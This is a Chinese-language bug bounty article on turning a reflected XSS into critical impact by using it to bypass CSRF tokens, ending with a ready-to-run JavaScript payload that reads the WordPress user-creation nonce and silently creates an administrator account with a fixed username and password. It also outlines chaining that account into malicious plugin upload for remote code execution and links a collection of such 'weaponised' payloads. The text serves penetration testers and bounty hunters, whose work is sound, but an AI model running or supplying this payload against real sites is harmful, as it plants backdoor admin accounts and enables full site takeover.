如何將XSS漏洞從中危提升到嚴重

  • 2020 年 2 月 10 日
  • 筆記

當你在提交一個XSS漏洞之前,應該想辦法尋找一切可以利用它來提高嚴重性的辦法。我的報告中記錄了時下流行的平台,如Wordpress和Drupal的一些武器化的javascript Payload。並且我將在接下來的幾周內添加更多內容。

就像往常一樣,我每天都會從Twitter的推送中看到XSS漏洞未充分發揮最大危害的文章。今天也不例外,我不想點名批評,我們暫且稱作者為「Jim」。文章內容大致如下:

  1. Jim 在用戶輸入處發現了一些未過濾的返回到頁面的輸入點;
  2. 在輸入處輸入<script>alert(1)</script>,彈窗成功;
  3. 漏洞定級為 P3/中危;
  4. 獲得賞金 300$;
  5. 結束。

目標是一個規模非常大的公司,並且該XSS漏洞處於他們的一個主站。該站點有一個顧客登錄門戶並執行許多高度敏感的操作。Jim不知道的是,只要他再多花點功夫,這個漏洞就可以升級為一鍵賬戶託管,然後將會獲取大約 5000$ 的賞金。大家千萬不要像Jim一樣。

這個問題並不僅僅只有Jim存在,很多滲透測試的人和漏洞賞金獵人,都不會投入精力去構建完全武器化的XSS Payload,因為這很費時或者太困難,甚至有可能他們根本不知道這是可以做到的。在本文結尾,你將掌握如何武器化XSS漏洞的相關知識點;你還將獲得一些我精心製作的XSS Payload,這些Payload可以使攻擊者完全控制一些流行的CMS,像Wordpress和Drupal。

在繼續說XSS之前,我們需要先討論一下CSRF漏洞。CSRF漏洞就是攻擊者可以誘導受害者在他們自己的瀏覽器上點擊鏈接,以受害者的session執行一些敏感的操作。例如,假設下方的URL是某Web應用中用戶修改密碼的操作。

https://www.example.com/profile/update_password?new_password=Welcome1

當然,將密碼放到GET型請求中,是很不好的方式,但是讓我們暫且忽略這一點。如果這個地方沒有做CSRF防護,那麼攻擊者便可以發送如下鏈接給受害者:

https://www.example.com/profile/update_password?new_password=HACKER

當受害者在 www.example.com站點已經是認證通過狀態,如果點擊了這個鏈接,那麼修改密碼的請求便會以受害者的session數據發送到服務端。這將會導致受害者的密碼被修改為HACKER。

CSRF防護

你可能會思考 「如何修復這個漏洞」。首先,此類操作都應該改用POST請求,實際數據都應該放到請求Body中。因為同源策略的原因POST型CSRF是更加難以利用的。不過,仍有特殊情況。

最常見的防護措施便是使用 CSRF TOKEN(又名 nonce)。基本前提是這個字元串被隨機生成並且只能通過用戶的瀏覽器來使用。任何時候,當要發送請求執行敏感操作時,這個TOKEN一同被發送。然後服務端將會校驗這個TOKEN是否正確。如果正確那麼這個表單的請求將會被執行,否則將會被服務端拒絕。更多細節你可以看:OWASP CSRF Prevention Cheat Sheet。

儘管如此,如果你發現了一個XSS漏洞,那麼你可以繞過當前幾乎所有的CSRF防護。唯一的例外便是,一些表單需要某種人為干預才能提交(如下所述)。

如何利用XSS繞過CSRF防護

首先,XSS漏洞可以完全繞過同源策略。通過XSS構造的請求與任何來自該應用程式的其他請求一樣,均不會被阻止。

其次,XSS可以繞過CSRF TOKEN的使用,因為注入的javascript程式碼可以很容易的從表單的源碼中檢索到這個有效的TOKEN,然後將它連同一個敏感的請求一起發送。下面的這個案例便使用了這個技術。

案例:在Wordpress中升級XSS來獲取所有控制許可權

思考下面的這些情況:

  1. 就目前而言,在互聯網上使用Wordpress搭建的站點約佔30%;
  2. 攻擊者可以利用一個XSS漏洞在一個正在運行中的Wordpress站點中創建一個具有管理員許可權的用戶;
  3. 管理員許可權可以在Wordpress中上傳插件;
  4. 通過上傳惡意插件可以實現遠程程式碼執行。

通過將上面這些情況串聯起來,你可以看到武器化的XSS如何在基於Wordpress的站點上實現遠程程式碼執行:只需要一個管理員點擊你的Payload!

如果你想到使用WPScan之類的工具來枚舉Wordpress站點上的用戶名,那麼這對站點來說是很危險的。這些帳號所有者的資訊通常可以通過Google來搜索網站歸屬者的姓名和公司名稱,或者在LinkedIn上搜索。

另外,大多數Wordpress的插件和主題都是獨立開發的,並且因各種漏洞而臭名昭著。例如這裡可以找到14000個:https://wpvulndb.com/。

我最近在一個bug bountry的項目中遇到了這樣一個情景。我在一個基於Wordpress的站點上發現了一個反射型XSS,而具有管理許可權的完整用戶名可以通過WPScan來枚舉獲得。我在bug bountry上提交了這個攻擊鏈,最終將我的漏洞定級為了P1/嚴重。儘管核心缺陷不過是一個反射型XSS,所以說漏洞所處的環境很重要。

Payload

與文章一起,我在Github上發布了一個javascript Payload的項目:用來在Wordpress和Drupal的站點上添加一個具有管理員許可權的用戶。裡面暫時只有兩個Payload,後續我會逐漸添加更多的流行的平台或者框架的武器化javascript Payload。你可以看這裡:

https://github.com/hakluke/weaponised-XSS-payloads

作為開胃菜,這裡有一個javascriptPaylaod的示例,用來在Wordpress上創建一個新的具有管理員許可權的用戶。

/*  Target: Wordpress - tested on 5.1.1 but probably works on other versions  Action: Create a new administrative user with username "hacker", email "[email protected]" and password "AttackerP455"  Context: Must be executed in the context of an administrator user  */     var wp_root = "" // don't add a trailing slash  var req = new xm lHttpRequest();  var url = wp_root + "/wp-admin/user-new.php";  var regex = /ser" value="([^"]*?)"/g;  req.open("GET", url, false);  req.send();  var nonce = regex.exec(req.responseText);  var nonce = nonce[1];  var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&[email protected]&pass1=AttackerP455&pass2=AttackerP455&role=administrator";  req.open("POST", url, true);  req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  req.send(params);

Tags: